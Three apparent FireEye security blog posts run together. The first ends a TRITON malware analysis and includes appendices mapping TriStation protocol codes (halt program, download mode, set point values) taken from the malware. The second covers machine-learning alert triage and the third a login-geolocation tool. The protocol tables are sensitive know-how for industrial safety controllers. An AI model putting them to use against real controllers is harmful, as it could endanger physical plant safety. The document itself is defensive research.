We extracted the CPP string tables in TR1STRS and LAGSTRS and the TS_cnames.pyc TS_names array from TRITON, and compared the 210, 204, and 212 relevant strings from each respective file.

TS_cnames.pyc TS_names and tr1com40.dll share 202 of 220 combined table strings. The remaining strings are unique to each, as seen here:

TS_cnames.TS_names (2017 pyc)

Tr1com40.dll (2006 CPP)

Go to DOWNLOAD mode

<200>

Not set

<209>

Unk75

Bad message from module

Unk76

Bad message type

Unk77

Bad TMI version number

Unk78

Module did not respond

Unk79

Open Connection: Invalid SAP %d

Unk81

Unsupported message for this TMI version

Unk83

 

Wrong command

 

TS_cnames.pyc TS_names and Tridcom.dll (1999 CPP) shared only 151 of 268 combined table strings, showing a much smaller overlap with the seemingly older CPP library. This makes sense based on the context that Tridcom.dll is meant for a Trident controller, not a Tricon controller. It does seem as though Tr1com40.dll and TR1STRS.CPP code was based on older work.

We are not shocked to find that the threat actor reversed legitimate code to bolster development of the TRITON framework. They want to work smarter, not harder, too. But after reverse engineering legitimate software and implementing the basics of the TriStation, the threat actors still had an incomplete understanding of the protocol. In TRITON's TS_cnames.pyc we saw "Unk75", "Unk76", "Unk83" and other values that were not present in the tr1com40.DLL strings, indicating that the TRITON threat actor may have explored the protocol and annotated their findings beyond what they reverse engineered from the DLL. The gaps in TriStation implementation show us why the actors encountered problems interacting with the Triconex controllers when using TRITON in the wild.

You can see more of the Trilog and Triconex DLL files on VirusTotal.

Item Name

MD5

Description

Tr1com40.dll

069247df527a96a0e048732ca57e7d3d

Tricom Communcations DLL

Data1.cab

e6a3c93a6d433cbaf6f573b6c09d76c4

Parent of Tr1com40.dll

Trilog v4.1.360R

13a3b83ba2c4236ca59aba679941c8a5

RAR Archive of TriLog

TridCom.dll

5c2ed617fdec4779cb33c89082a43100

Trident Communications DLL

Afterthoughts

Seeing Triconex systems targeted with malicious intent was new to the world six months ago. Moving forward it would be reasonable to anticipate additional frameworks, such as TRITON, designed for usage against other SIS controllers and associated technologies. If Triconex was within scope, we may see similar attacker methodologies affecting the dominant industrial safety technologies.

Basic security measures do little to thwart truly persistent threat actors and monitoring only IT networks is not an ideal situation. Visibility into both the IT and OT environments is critical for detecting the various stages of an ICS intrusion. Simple detection concepts such as baseline deviation can provide insight into abnormal activity.

While the TRITON framework was actively in use, how many traditional ICS “alarms” were set off while the actors tested their exploits and backdoors on the Triconex controller? How many times did the TriStation protocol, as implemented in their Python scripts, fail or cause errors because of non-standard traffic? How many TriStation UDP pings were sent and how many Connection Requests? How did these statistics compare to the baseline for TriStation traffic? There are no answers to these questions for now. We believe that we can identify these anomalies in the long run if we strive for increased visibility into ICS technologies.

We hope that by holding public discussions about ICS technologies, the Infosec community can cultivate closer relationships with ICS vendors and give the world better insight into how attackers move from the IT to the OT space. We want to foster more conversations like this and generally share good techniques for finding evil. Since most of all ICS attacks involve standard IT intrusions, we should probably come together to invent and improve any guidelines for how to monitor PCs and engineering workstations that bridge the IT and OT networks. We envision a world where attacking or disrupting ICS operations costs the threat actor their cover, their toolkits, their time, and their freedom. It's an ideal world, but something nice to shoot for.

Thanks and Future Work

There is still much to do for TRITON and TriStation. There are many more sub-message types and nuances for parsing out the nitty gritty details, which is hard to do without a controller of our own. And although we’ve published much of what we learned about the TriStation here on the blog, our work will continue as we continue our study of the protocol.

Thanks to everyone who did so much public research on TRITON and TriStation. We have cited a few individuals in this blog post, but there is a lot more community-sourced information that gave us clues and leads for our research and testing of the framework and protocol. We also have to acknowledge the research performed by the TRITON attackers. We borrowed a lot of your knowledge about TriStation from the TRITON framework itself.

Finally, remember that we're here to collaborate. We think most of our research is right, but if you notice any errors or omissions, or have ideas for improvements, please spear phish contact: smiller@fireeye.com.

Recommended Reading

Appendix A: TriStation Message Type Codes

The following table consists of hex values at offset 0 in the TriStation UDP packets and the associated dictionary definitions, extracted verbatim from the TRITON framework in library TS_cnames.pyc.

Value at 0x0

Message Type

1

Connection Request

2

Connection Response

3

Disconnect Request

4

Disconnect Response

5

Execution Command

6

Ping Command

7

Connection Limit Reached

8

Not Connected

9

MPS Are Dead

10

Access Denied

11

Connection Failed

Appendix B: TriStation Execution Command Function Codes

The following table consists of hex values at offset 6 in the TriStation UDP packets and the associated dictionary definitions, extracted verbatim from the TRITON framework in library TS_cnames.pyc.

Value at 0x6

TS_cnames String

0

0: 'Start download all',

1

1: 'Start download change',

2

2: 'Update configuration',

3

3: 'Upload configuration',

4

4: 'Set I/O addresses',

5

5: 'Allocate network',

6

6: 'Load vector table',

7

7: 'Set calendar',

8

8: 'Get calendar',

9

9: 'Set scan time',

A

10: 'End download all',

B

11: 'End download change',

C

12: 'Cancel download change',

D

13: 'Attach TRICON',

E

14: 'Set I/O address limits',

F

15: 'Configure module',

10

16: 'Set multiple point values',

11

17: 'Enable all points',

12

18: 'Upload vector table',

13

19: 'Get CP status ',

14

20: 'Run program',

15

21: 'Halt program',

16

22: 'Pause program',

17

23: 'Do single scan',

18

24: 'Get chassis status',

19

25: 'Get minimum scan time',

1A

26: 'Set node number',

1B

27: 'Set I/O point values',

1C

28: 'Get I/O point values',

1D

29: 'Get MP status',

1E

30: 'Set retentive values',

1F

31: 'Adjust clock calendar',

20

32: 'Clear module alarms',

21

33: 'Get event log',

22

34: 'Set SOE block',

23

35: 'Record event log',

24

36: 'Get SOE data',

25

37: 'Enable OVD',

26

38: 'Disable OVD',

27

39: 'Enable all OVDs',

28

40: 'Disable all OVDs',

29

41: 'Process MODBUS',

2A

42: 'Upload network',

2B

43: 'Set lable',

2C

44: 'Configure system variables',

2D

45: 'Deconfigure module',

2E

46: 'Get system variables',

2F

47: 'Get module types',

30

48: 'Begin conversion table download',

31

49: 'Continue conversion table download',

32

50: 'End conversion table download',

33

51: 'Get conversion table',

34

52: 'Set ICM status',

35

53: 'Broadcast SOE data available',

36

54: 'Get module versions',

37

55: 'Allocate program',

38

56: 'Allocate function',

39

57: 'Clear retentives',

3A

58: 'Set initial values',

3B

59: 'Start TS2 program download',

3C

60: 'Set TS2 data area',

3D

61: 'Get TS2 data',

3E

62: 'Set TS2 data',

3F

63: 'Set program information',

40

64: 'Get program information',

41

65: 'Upload program',

42

66: 'Upload function',

43

67: 'Get point groups',

44

68: 'Allocate symbol table',

45

69: 'Get I/O address',

46

70: 'Resend I/O address',

47

71: 'Get program timing',

48

72: 'Allocate multiple functions',

49

73: 'Get node number',

4A

74: 'Get symbol table',

4B

75: 'Unk75',

4C

76: 'Unk76',

4D

77: 'Unk77',

4E

78: 'Unk78',

4F

79: 'Unk79',

50

80: 'Go to DOWNLOAD mode',

51

81: 'Unk81',

52

 

53

83: 'Unk83',

54

 

55

 

56

 

57

 

58

 

59

 

5A

 

5B

 

5C

 

5D

 

5E

 

5F

 

60

 

61

 

62

 

63

 

64

100: 'Command rejected',

65

101: 'Download all permitted',

66

102: 'Download change permitted',

67

103: 'Modification accepted',

68

104: 'Download cancelled',

69

105: 'Program accepted',

6A

106: 'TRICON attached',

6B

107: 'I/O addresses set',

6C

108: 'Get CP status response',

6D

109: 'Program is running',

6E

110: 'Program is halted',

6F

111: 'Program is paused',

70

112: 'End of single scan',

71

113: 'Get chassis configuration response',

72

114: 'Scan period modified',

73

115: '<115>',

74

116: '<116>',

75

117: 'Module configured',

76

118: '<118>',

77

119: 'Get chassis status response',

78

120: 'Vectors response',

79

121: 'Get I/O point values response',

7A

122: 'Calendar changed',

7B

123: 'Configuration updated',

7C

124: 'Get minimum scan time response',

7D

125: '<125>',

7E

126: 'Node number set',

7F

127: 'Get MP status response',

80

128: 'Retentive values set',

81

129: 'SOE block set',

82

130: 'Module alarms cleared',

83

131: 'Get event log response',

84

132: 'Symbol table ccepted',

85

133: 'OVD enable accepted',

86

134: 'OVD disable accepted',

87

135: 'Record event log response',

88

136: 'Upload network response',

89

137: 'Get SOE data response',

8A

138: 'Alocate network accepted',

8B

139: 'Load vector table accepted',

8C

140: 'Get calendar response',

8D

141: 'Label set',

8E

142: 'Get module types response',

8F

143: 'System variables configured',

90

144: 'Module deconfigured',

91

145: '<145>',

92

146: '<146>',

93

147: 'Get conversion table response',

94

148: 'ICM print data sent',

95

149: 'Set ICM status response',

96

150: 'Get system variables response',

97

151: 'Get module versions response',

98

152: 'Process MODBUS response',

99

153: 'Allocate program response',

9A

154: 'Allocate function response',

9B

155: 'Clear retentives response',

9C

156: 'Set initial values response',

9D

157: 'Set TS2 data area response',

9E

158: 'Get TS2 data response',

9F

159: 'Set TS2 data response',

A0

160: 'Set program information reponse',

A1

161: 'Get program information response',

A2

162: 'Upload program response',

A3

163: 'Upload function response',

A4

164: 'Get point groups response',

A5

165: 'Allocate symbol table response',

A6

166: 'Program timing response',

A7

167: 'Disable points full',

A8

168: 'Allocate multiple functions response',

A9

169: 'Get node number response',

AA

170: 'Symbol table response',

AB

 

AC

 

AD

 

AE

 

AF

 

B0

 

B1

 

B2

 

B3

 

B4

 

B5

 

B6

 

B7

 

B8

 

B9

 

BA

 

BB

 

BC

 

BD

 

BE

 

BF

 

C0

 

C1

 

C2

 

C3

 

C4

 

C5

 

C6

 

C7

 

C8

200: 'Wrong command',

C9

201: 'Load is in progress',

CA

202: 'Bad clock calendar data',

CB

203: 'Control program not halted',

CC

204: 'Control program checksum error',

CD

205: 'No memory available',

CE

206: 'Control program not valid',

CF

207: 'Not loading a control program',

D0

208: 'Network is out of range',

D1

209: 'Not enough arguments',

D2

210: 'A Network is missing',

D3

211: 'The download time mismatches',

D4

212: 'Key setting prohibits this operation',

D5

213: 'Bad control program version',

D6

214: 'Command not in correct sequence',

D7

215: '<215>',

D8

216: 'Bad Index for a module',

D9

217: 'Module address is invalid',

DA

218: '<218>',

DB

219: '<219>',

DC

220: 'Bad offset for an I/O point',

DD

221: 'Invalid point type',

DE

222: 'Invalid Point Location',

DF

223: 'Program name is invalid',

E0

224: '<224>',

E1

225: '<225>',

E2

226: '<226>',

E3

227: 'Invalid module type',

E4

228: '<228>',

E5

229: 'Invalid table type',

E6

230: '<230>',

E7

231: 'Invalid network continuation',

E8

232: 'Invalid scan time',

E9

233: 'Load is busy',

EA

234: 'An MP has re-educated',

EB

235: 'Invalid chassis or slot',

EC

236: 'Invalid SOE number',

ED

237: 'Invalid SOE type',

EE

238: 'Invalid SOE state',

EF

239: 'The variable is write protected',

F0

240: 'Node number mismatch',

F1

241: 'Command not allowed',

F2

242: 'Invalid sequence number',

F3

243: 'Time change on non-master TRICON',

F4

244: 'No free Tristation ports',

F5

245: 'Invalid Tristation I command',

F6

246: 'Invalid TriStation 1131 command',

F7

247: 'Only one chassis allowed',

F8

248: 'Bad variable address',

F9

249: 'Response overflow',

FA

250: 'Invalid bus',

FB

251: 'Disable is not allowed',

FC

252: 'Invalid length',

FD

253: 'Point cannot be disabled',

FE

254: 'Too many retentive variables',

FF

255: 'LOADER_CONNECT',

 

256: 'Unknown reject code'

Reverse Engineering the Analyst: Building Machine Learning Models for the SOC

Many cyber incidents can be traced back to an original alert that was either missed or ignored by the Security Operations Center (SOC) or Incident Response (IR) team. While most analysts and SOCs are vigilant and responsive, the fact is they are often overwhelmed with alerts. If a SOC is unable to review all the alerts it generates, then sooner or later, something important will slip through the cracks.

The core issue here is scalability. It is far easier to create more alerts than to create more analysts, and the cyber security industry is far better at alert generation than resolution. More intel feeds, more tools, and more visibility all add to the flood of alerts. There are things that SOCs can and should do to manage this flood, such as increasing automation of forensic tasks (pulling PCAP and acquiring files, for example) and using aggregation filters to group alerts into similar batches. These are effective strategies and will help reduce the number of required actions a SOC analyst must take. However, the decisions the SOC makes still form a critical bottleneck. This is the “Analyze/ Decide” block in Figure 1.


Figure 1: Basic SOC triage stages

In this blog post, we propose machine learning based strategies to help mitigate this bottleneck and take back control of the SOC. We have implemented these strategies in our FireEye Managed Defense SOC, and our analysts are taking advantage of this approach within their alert triaging workflow. In the following sections, we will describe our process to collect data, capture alert analysis, create a model, and build an efficacy workflow – all with the ultimate goal of automating alert triage and freeing up analyst time.

Reverse Engineering the Analyst

Every alert that comes into a SOC environment contains certain bits of information that an analyst uses to determine if the alert represents malicious activity. Often, there are well-paved analytical processes and pathways used when evaluating these forensic artifacts over time. We wanted to explore if, in an effort to truly scale our SOC operations, we could extract these analytical pathways, train a machine to traverse them, and potentially discover new ones.

Think of a SOC as a self-contained machine that inputs unlabeled alerts and outputs the alerts labeled as “malicious” or “benign”. How can we capture the analysis and determine that something is indeed malicious, and then recreate that analysis at scale? In other words, what if we could train a machine to make the same analytical decisions as an analyst, within an acceptable level of confidence?

Basic Supervised Model Process

The data science term for this is a “Supervised Classification Model”. It is “supervised” in the sense that it learns by being shown data already labeled as benign or malicious, and it is a “classification model” in the sense that once it has been trained, we want it to look at a new piece of data and make a decision between one of several discrete outcomes. In our case, we only want it to decide between two “classes” of alerts: malicious and benign.

In order to begin creating such a model, a dataset must be collected. This dataset forms the “experience” of the model, and is the information we will use to “train” the model to make decisions. In order to supervise the model, each unit of data must be labeled as either malicious or benign, so that the model can evaluate each observation and begin to figure out what makes something malicious versus what makes it benign. Typically, collecting a clean, labeled dataset is one of the hardest parts of the supervised model pipeline; however, in the case of our SOC, our analysts are constantly triaging (or “labeling”) thousands of alerts every week, and so we were lucky to have an abundance of clean, standardized, labeled alerts.

Once a labeled dataset has been defined, the next step is to define “features” that can be used to portray the information resident in each alert. A “feature” can be thought of as an aspect of a bit of information. For example, if the information is represented as a string, a natural “feature” could be the length of the string. The central idea behind building features for our alert classification model was to find a way to represent and record all the aspects that an analyst might consider when making a decision.

Building the model then requires choosing a model structure to use, and training the model on a subset of the total data available. The larger and more diverse the training data set, generally the better the model will perform. The remaining data is used as a “test set” to see if the trained model is indeed effective. Holding out this test set ensures the model is evaluated on samples it has never seen before, but for which the true labels are known.

Finally, it is critical to ensure there is a way to evaluate the efficacy of the model over time, as well as to investigate mistakes so that appropriate adjustments can be made. Without a plan and a pipeline to evaluate and retrain, the model will almost certainly decay in performance.

Feature Engineering

Before creating any of our own models, we interviewed experienced analysts and documented the information they typically evaluate before making a decision on an alert. Those interviews formed the basis of our feature extraction. For example, when an analyst says that reviewing an alert is “easy”, we ask: “Why? And what helps you make that decision?” It is this reverse engineering of sorts that gives insight into features and models we can use to capture analysis.

For example, consider a process execution event. An alert on a potentially malicious process execution may contain the following fields:

  • Process Path
  • Process MD5
  • Parent Process
  • Process Command Arguments

While this may initially seem like a limited feature space, there is a lot of useful information that one can extract from these fields.

Beginning with the process path of, say, “C:\windows\temp\m.exe”, an analyst can immediately see some features:

  • The process resides in a temporary folder: C:\windows\temp\
  • The process is two directories deep in the file system
  • The process executable name is one character long
  • The process has an .exe extension
  • The process is not a “common” process name

While these may seem simple, over a vast amount of data and examples, extracting these bits of information will help the model to differentiate between events. Even the most basic aspects of an artifact must be captured in order to “teach” the model to view processes the way an analyst does.

The features are then encoded into a more discrete representation, similar to this:

Temp_folder

Depth

Name_Length

Extension

common_process_name

TRUE

2

1

exe

FALSE

Another important feature to consider about a process execution event is the combination of parent process and child process. Deviation from expected “lineage” can be a strong indicator of malicious activity.

Say the parent process of the aforementioned example was ‘powershell.exe’. Potential new features could then be derived from the concatenation of the parent process and the process itself: ‘powershell.exe_m.exe’. This functionally serves as an identity for the parent-child relation and captures another key analysis artifact.

The richest field, however, is probably the process arguments. Process arguments are their own sort of language, and language analysis is a well-tread space in predictive analytics.

We can look for things including, but not limited to:

  • Network connection strings (such as ‘http://’, ‘https://’, ‘ftp://’).
  • Base64 encoded commands
  • Reference to Registry Keys (‘HKLM’, ‘HKCU’)
  • Evidence of obfuscation (ticks, $, semicolons) (read Daniel Bohannon’s work for more)

The way these features and their values appear in a training dataset will define the way the model learns. Based on the distribution of features across thousands of alerts, relationships will start to emerge between features and labels. These relationships will then be recorded in our model, and ultimately used to influence the predictions for new alerts. Looking at distributions of features in the training set can give insight into some of these potential relationships.

For example, Figure 2 shows how the distribution of Process Command Length may appear when grouping by malicious (red) and benign (blue).


Figure 2: Distribution of Process Event alerts grouped by Process Command Length

This graph shows that over a subset of samples, the longer the command length, the more likely it is to be malicious. This manifests as red on the right and blue on the left. However, process length is not the only factor.

As part of our feature set, we also thought it would be useful to approximate the “complexity” of each command. For this, we used “Shannon entropy”, a commonly used metric that measures the degree of randomness present in a string of characters.

Figure 3 shows a distribution of command entropy, broken out into malicious and benign. While the classes do not separate entirely, we can see that for this sample of data, samples with higher entropy generally have a higher chance of being malicious.


Figure 3: Distribution of Process Event alerts grouped by entropy

Model Selection and Generalization

Once features have been generated for the whole dataset, it is time to use them to train a model. There is no perfect procedure for picking the best model, but looking at the type of features in our data can help narrow it down. In the case of a process event, we have a combination of features represented as strings and numbers. When an analyst evaluates each artifact, they ask questions about each of these features, and combine the answers to estimate the probability that the process is malicious.

For our use case, it also made sense to prioritize an ‘interpretable’ model – that is, one that can more easily expose why it made a certain decision about an artifact. This way analysts can build confidence in the model, as well as detect and fix analytical mistakes that the model is making. Given the nature of the data, the decisions analysts make, and the desire for interpretability, we felt that a decision tree-based model would be well-suited for alert classification.

There are many publicly available resources to learn about decision trees, but the basic intuition behind a decision tree is that it is an iterative process, asking a series of questions to try to arrive at a highly confident answer. Anyone who has played the game “Twenty Questions” is familiar with this concept. Initially, general questions are asked to help eliminate possibilities, and then more specific questions are asked to narrow down the possibilities. After enough questions are asked and answered, the ‘questioner’ feels they have a high probability of guessing the right answer.

Figure 4 shows an example of a decision tree that one might use to evaluate process executions.


Figure 4: Decision tree for deciding whether an alert is benign or malicious

For the example alert in the diagram, the “decision path” is marked in red. This is how this decision tree model makes a prediction. It first asks: “Is the length greater than 100 characters?” If so, it moves to the next question “Does it contain the string ‘http’?” and so on until it feels confident in making an educated guess. In the example in Figure 4, given that 95 percent of all the training alerts traveling this decision path were malicious, the model predicts a 95 percent chance that this alert will also be malicious.

Because they can ask such detailed combinations of questions, it is possible that decision trees can “overfit”, or learn rules that are too closely tied to the training set. This reduces the model’s ability to “generalize” to new data. One way to mitigate this effect is to use many slightly different decision trees and have them each “vote” on the outcome. This “ensemble” of decision trees is called a Random Forest, and it can improve performance for the model when deployed in the wild. This is the algorithm we ultimately chose for our model.

How the SOC Alert Model Works

When a new alert appears, the data in the artifact is transformed into a vector of the encoded features, with the same structure as the feature representations used to train the model. The model then evaluates this “feature vector” and applies a confidence level for the predicted label. Based on thresholds we set, we can then classify the alert as malicious or benign.


Figure 5: An alert presented to the analyst with its raw values captured

As an example, the event shown in Figure 5 might create the following feature values:

  • Parent Process: ‘wscript’
  • Command Entropy: 5.08
  • Command Length =103

Based on how they were trained, the trees in the model each ask a series of questions of the new feature vector. As the feature vector traverses each tree, it eventually converges on a terminal “leaf” classifying it as either benign or malicious. We can then evaluate the aggregated decisions made by each tree to estimate which features in the vector played the largest role in the ultimate classification.

For the analysts in the SOC, we then present the features extracted from the model, showing the distribution of those features over the entire dataset. This gives the analysts insight into “why” the model thought what it thought, and how those features are represented across all alerts we have seen. For example, the “explanation” for this alert might look like:

  • Command Entropy = 5.08 > 4.60:  51.73% Threat
  • occuranceOfChar “\”= 9.00 > 4.50:  64.09% Threat
  • occuranceOfChar:“)” (=0.00) <= 0.50: 78.69% Threat
  • NOT processTree=”cmd.exe_to_cscript.exe”: 99.6% Threat

Thus, at the time of analysis, the analysts can see the raw data of the event, the prediction from the model, an approximation of the decision path, and a simplified, interpretable view of the overall feature importance.

How the SOC Uses the Model

Showing the features the model used to reach the conclusion allows experienced analysts to compare their approach with the model, and give feedback if the model is doing something wrong. Conversely, a new analyst may learn to look at features they may have otherwise missed: the parent-child relationship, signs of obfuscation, or network connection strings in the arguments. After all, the model has learned on the collective experience of every analyst over thousands of alerts. Therefore, the model provides an actionable reflection of the aggregate analyst experience back to the SOC, so that each analyst can transitively learn from their colleagues.

Additionally, it is possible to write rules using the output of the model as a parameter. If the model is particularly confident on a subset of alerts, and the SOC feels comfortable automatically classifying that family of threats, it is possible to simply write a rule to say: “If the alert is of this type, AND for this malware family, AND the model confidence is above 99, automatically call this alert bad and generate a report.” Or, if there is a storm of probable false positives, one could write a rule to cull the herd of false positives using a model score below 10.

How the Model Stays Effective

The day the model is trained, it stops learning. However, threats – and therefore alerts – are constantly evolving. Thus, it is imperative to continually retrain the model with new alert data to ensure it continues to learn from changes in the environment.

Additionally, it is critical to monitor the overall efficacy of the model over time. Building an efficacy analysis pipeline to compare model results against analyst feedback will help identify if the model is beginning to drift or develop structural biases. Evaluating and incorporating analyst feedback is also critical to identify and address specific misclassifications, and discover potential new features that may be necessary.

To accomplish these goals, we run a background job that updates our training database with newly labeled events. As we get more and more alerts, we periodically retrain our model with the new observations. If we encounter issues with accuracy, we diagnose and work to address them. Once we are satisfied with the overall accuracy score of our retrained model, we store the model object and begin using that model version.

We also provide a feedback mechanism for analysts to record when the model is wrong. An analyst can look at the label provided by the model and the explanation, but can also make their own decision. Whether they agree with the model or not, they can input their own label through the interface. We store this label provided by the analyst along with any optional explanation given by them regarding the explanation.

Finally, it should be noted that these manual labels may require further evaluation. As an example, consider a commodity malware alert, in which network command and control communications were sinkholed. An analyst may evaluate the alert, pull back triage details, including PCAP samples, and see that while the malware executed, the true threat to the environment was mitigated. Since it does not represent an exigent threat, the analyst may mark this alert as ‘benign’. However, the fact that it was sinkholed does not change that the artifacts of execution still represent malicious activity. Under different circumstances, this infection could have had a negative impact on the organization. However, if the benign label is used when retraining the model, that will teach the model that something inherently malicious is in fact benign, and potentially lead to false negatives in the future.

Monitoring efficacy over time, updating and retraining the model with new alerts, and evaluating manual analyst feedback gives us visibility into how the model is performing and learning over time. Ultimately this helps to build confidence in the model, so we can automate more tasks and free up analyst time to perform tasks such as hunting and investigation.

Conclusion

A supervised learning model is not a replacement for an experienced analyst. However, incorporating predictive analytics and machine learning into the SOC workflow can help augment the productivity of analysts, free up time, and ensure they utilize investigative skills and creativity on the threats that truly require expertise.

This blog post outlines the major components and considerations of building an alert classification model for the SOC. Data collection, labeling, feature generation, model training, and efficacy analysis must all be carefully considered when building such a model. FireEye continues to iterate on this research to improve our detection and response capabilities, continually improve the detection efficacy of our products, and ultimately protect our clients.

The process and examples shown discussed in this post are not mere research. Within our FireEye Managed Defense SOC, we use alert classification models built using the aforementioned processes to increase our efficiency and ensure we apply our analysts’ expertise where it is needed most. In a world of ever increasing threats and alerts, increasing SOC efficiency may mean the difference between missing and catching a critical intrusion.

Acknowledgements

A big thank you to Seth Summersett and Clara Brooks.

***

The FireEye ICE Data Science Team is a small, highly trained team of data scientists and engineers, focused on delivering impactful capabilities to our analysts, products, and customers. ICE-DS is always looking for exceptional candidates interested in researching and solving difficult problems in cybersecurity. If you’re interested, check out  FireEye careers.

Remote Authentication GeoFeasibility Tool – GeoLogonalyzer

Users have long needed to access important resources such as virtual private networks (VPNs), web applications, and mail servers from anywhere in the world at any time. While the ability to access resources from anywhere is imperative for employees, threat actors often leverage stolen credentials to access systems and data. Due to large volumes of remote access connections, it can be difficult to distinguish between a legitimate and a malicious login.

Today, we are releasing GeoLogonalyzer to help organizations analyze logs to identify malicious logins based on GeoFeasibility; for example, a user connecting to a VPN from New York at 13:00 is unlikely to legitimately connect to the VPN from Australia five minutes later.

Once remote authentication activity is baselined across an environment, analysts can begin to identify authentication activity that deviates from business requirements and normalized patterns, such as:

  1. User accounts that authenticate from two distant locations, and at times between which the user probably could not have physically travelled the route.
  2. User accounts that usually log on from IP addresses registered to one physical location such as a city, state, or country, but also have logons from locations where the user is not likely to be physically located.
  3. User accounts that log on from a foreign location at which no employees reside or are expected to travel to, and your organization has no business contacts at that location.
  4. User accounts that usually log on from one source IP address, subnet, or ASN, but have a small number of logons from a different source IP address, subnet, or ASN.
  5. User accounts that usually log on from home or work networks, but also have logons from an IP address registered to cloud server hosting providers.
  6. User accounts that log on from multiple source hostnames or with multiple VPN clients.

GeoLogonalyzer can help address these and similar situations by processing authentication logs containing timestamps, usernames, and source IP addresses.

GeoLogonalyzer can be downloaded from our FireEye GitHub.

GeoLogonalyzer Features

IP Address GeoFeasibility Analysis

For a remote authentication log that records a source IP address, it is possible to estimate the location each logon originated from using data such as MaxMind’s free GeoIP database. With additional information, such as a timestamp and username, analysts can identify a change in source location over time to determine if that user could have possibly traveled between those two physical locations to legitimately perform the logons.

For example, if a user account, Meghan, logged on from New York City, New York on 2017-11-24 at 10:00:00 UTC and then logged on from Los Angeles, California 10 hours later on 2017-11-24 at 20:00:00 UTC, that is roughly a 2,450 mile change over 10 hours. Meghan’s logon source change can be normalized to 245 miles per hour which is reasonable through commercial airline travel.

If a second user account, Harry, logged on from Dallas, Texas on 2017-11-25 at 17:00:00 UTC and then logged on from Sydney, Australia two hours later on 2017-11-25 at 19:00:00 UTC, that is roughly an 8,500 mile change over two hours. Harry’s logon source change can be normalized to 4,250 miles per hour, which is likely infeasible with modern travel technology.

By focusing on the changes in logon sources, analysts do not have to manually review the many times that Harry might have logged in from Dallas before and after logging on from Sydney.

Cloud Data Hosting Provider Analysis

Attackers understand that organizations may either be blocking or looking for connections from unexpected locations. One solution for attackers is to establish a proxy on either a compromised server in another country, or even through a rented server hosted in another country by companies such as AWS, DigitalOcean, or Choopa.

Fortunately, Github user “client9” tracks many datacenter hosting providers in an easily digestible format. With this information, we can attempt to detect attackers utilizing datacenter proxy to thwart GeoFeasibility analysis.

Using GeoLogonalyzer

Usable Log Sources

GeoLogonalyzer is designed to process remote access platform logs that include a timestamp, username, and source IP. Applicable log sources include, but are not limited to:

  1. VPN
  2. Email client or web applications
  3. Remote desktop environments such as Citrix
  4. Internet-facing applications
Usage

GeoLogonalyzer’s built-in –csv input type accepts CSV formatted input with the following considerations:

  1. Input must be sorted by timestamp.
  2. Input timestamps must all be in the same time zone, preferably UTC, to avoid seasonal changes such as daylight savings time.
  3. Input format must match the following CSV structure – this will likely require manually parsing or reformatting existing log formats:

YYYY-MM-DD HH:MM:SS, username, source IP, optional source hostname, optional VPN client details

GeoLogonalyzer’s code comments include instructions for adding customized log format support. Due to the various VPN log formats exported from VPN server manufacturers, version 1.0 of GeoLogonalyzer does not include support for raw VPN server logs.

GeoLogonalyzer Usage

Example Input

Figure 1 represents an example input VPNLogs.csv file that recorded eight authentication events for the two user accounts Meghan and Harry. The input data is commonly derived from logs exported directly from an application administration console or SIEM.  Note that this example dataset was created entirely for demonstration purposes.


Figure 1: Example GeoLogonalyzer input

Example Windows Executable Command

GeoLogonalyzer.exe --csv VPNLogs.csv --output GeoLogonalyzedVPNLogs.csv

Example Python Script Execution Command

python GeoLogonalyzer.py --csv VPNLogs.csv --output GeoLogonalyzedVPNLogs.csv

Example Output

Figure 2 represents the example output GeoLogonalyzedVPNLogs.csv file, which shows relevant data from the authentication source changes (highlights have been added for emphasis and some columns have been removed for brevity):


Figure 2: Example GeoLogonalyzer output

Analysis

In the example output from Figure 2, GeoLogonalyzer helps identify the following anomalies in the Harry account’s logon patterns:

  1. FAST - For Harry to physically log on from New York and subsequently from Australia in the recorded timeframe, Harry needed to travel at a speed of 4,297 miles per hour.
  2. DISTANCE – Harry’s 8,990 mile trip from New York to Australia might not be expected travel.
  3. DCH – Harry’s logon from Australia originated from an IP address associated with a datacenter hosting provider.
  4. HOSTNAME and CLIENT – Harry logged on from different systems using different VPN client software, which may be against policy.
  5. ASN – Harry’s source IP addresses did not belong to the same ASN. Using ASN analysis helps cut down on reviewing logons with different source IP addresses that belong to the same provider. Examples include logons from different campus buildings or an updated residential IP address.

Manual analysis of the data could also reveal anomalies such as:

  1. Countries or regions where no business takes place, or where there are no employees located
  2. Datacenters that are not expected
  3. ASN names that are not expected, such as a university
  4. Usernames that should not log on to the service
  5. Unapproved VPN client software names
  6. Hostnames that are not part of the environment, do not match standard naming conventions, or do not belong to the associated user

While it may be impossible to determine if a logon pattern is malicious based on this data alone, analysts can use GeoLogonalyzer to flag and investigate potentially suspicious logon activity through other investigative methods.

GeoLogonalyzer Limitations

Reserved Addresses

Any RFC1918 source IP addresses, such as 192.168.X.X and 10.X.X.X, will not have a physical location registered in the MaxMind database. By default, GeoLogonalyzer will use the coordinates (0, 0) for any reserved IP address, which may alter results. Analysts can manually edit these coordinates, if desired, by modifying the RESERVED_IP_COORDINATES constant in the Python script.

Setting this constant to the coordinates of your office location may provide the most accurate results, although may not be feasible if your organization has multiple locations or other point-to-point connections.

GeoLogonalyzer also accepts the parameter –skip_rfc1918, which will completely ignore any RFC1918 source IP addresses and could result in missed activity.

Failed Logon and Logoff Data

It may also be useful to include failed logon attempts and logoff records with the log source data to see anomalies related to source information of all VPN activity. At this time, GeoLogonalyzer does not distinguish between successful logons, failed logon attempts, and logoff events. GeoLogonalyzer also does not detect overlapping logon sessions from multiple source IP addresses.

False Positive Factors

Note that the use of VPN or other tunneling services may create false positives. For example, a user may access an application from their home office in Wyoming at 08:00 UTC, connect to a VPN service hosted in Georgia at 08:30 UTC, and access the application again through the VPN service at 09:00 UTC. GeoLogonalyzer would process this application access log and detect that the user account required a FAST travel rate of roughly 1,250 miles per hour which may appear malicious. Establishing a baseline of legitimate authentication patterns is recommended to understand false positives.

Reliance on Open Source Data

GeoLogonalyzer relies on open source data to make cloud hosting provider determinations. These lookups are only as accurate as the available open source data.

Preventing Remote Access Abuse

Understanding that no single analysis method is perfect, the following recommendations can help security teams prevent the abuse of remote access platforms and investigate suspected compromise.

  1. Identify and limit remote access platforms that allow access to sensitive information from the Internet, such as VPN servers, systems with RDP or SSH exposed, third-party applications (e.g., Citrix), intranet sites, and email infrastructure.
  2. Implement a multi-factor authentication solution that utilizes dynamically generated one-time use tokens for all remote access platforms.
  3. Ensure that remote access authentication logs for each identified access platform are recorded, forwarded to a log aggregation utility, and retained for at least one year.
